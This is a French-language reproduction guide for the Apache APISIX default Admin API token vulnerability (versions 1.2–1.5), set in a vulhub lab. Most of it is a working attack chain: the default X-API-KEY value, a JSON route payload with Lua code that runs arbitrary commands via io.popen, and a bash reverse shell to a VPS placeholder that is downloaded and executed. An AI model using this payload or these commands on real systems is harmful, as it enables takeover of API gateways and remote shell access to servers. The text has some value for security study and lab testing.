Table des matières
Clause de non-responsabilité : cet article est uniquement destiné à l'apprentissage et à la référence. Toutes les ressources impliquées proviennent d'Internet. Veuillez ne pas les utiliser pour des actes illégaux, sinon vous en supporterez vous-même les conséquences correspondantes, et je n'assume aucune responsabilité légale et conjointe et plusieurs passifs.
Description de la vulnérabilité
Apache APISIX est une passerelle API dynamique, en temps réel et hautes performances, implémentée sur la base de la bibliothèque réseau Nginx et etcd, fournissant un équilibrage de charge, un amont dynamique, une version en échelle de gris, un fusible de service, une authentification d'identité, une observabilité et d'autres fonctions de gestion du trafic riches. Lorsque l'utilisateur ouvre l'API Admin, ne configure pas la politique d'accès IP correspondante, et ne modifie pas le fichier de configuration Token, l'attaquant peut utiliser le Token par défaut d'Apache APISIX pour accéder à Apache APISIX, contrôlant ainsi la passerelle APISIX.
Version concernée
Apache APISIX 1.2
Apache APISIX 1.3
Apache APISIX 1.4
Apache APISIX 1.5
Récurrence de la vulnérabilité
L'environnement de vulnérabilité est toujours construit via vulhub, donc je ne le répéterai pas ici.
Visitez http://192.168.10.171:9080/apisix/admin/routes, indiquant que /apisix/admin/routes est activé
Capturez le message et apportez les modifications suivantes
1. Changez la méthode de requête en POST
2. Ajoutez le paramètre X-API-KEY : edd1c9f034335f136f87ad84b625c8f1
3. Ajouter une charge utile
{
"uri": "/attack",
"script": "local _M = {} \n function _M.access(conf, ctx) \n local os = require('os')\n local args = assert(ngx.req.get_uri_args()) \n local f = assert(io.popen(args.cmd, 'r'))\n local s = assert(f:read('*a'))\n ngx.say(s)\n f:close() \n end \nreturn _M",
"upstream": {
"type": "roundrobin",
"nodes": {
"example.com:80": 1
}
}
}
Ensuite, accédez au routeur que vous venez d'ajouter et exécutez n'importe quelle commande via le paramètre cmd
Ensuite, montrons la connexion inverse de ce serveur sur l'intranet au VPS
Tout d'abord, écrivez un script shell de rebond bash -i >& /dev/tcp/VPS_IP/VPS_PORT 0>&1 sur le VPS, puis utilisez python pour démarrer un service http : python3 -m http.server
Télécharger le fichier de script test.sh
Ensuite, exécutez le fichier de script test.sh
Voir les résultats de rebond sur VPS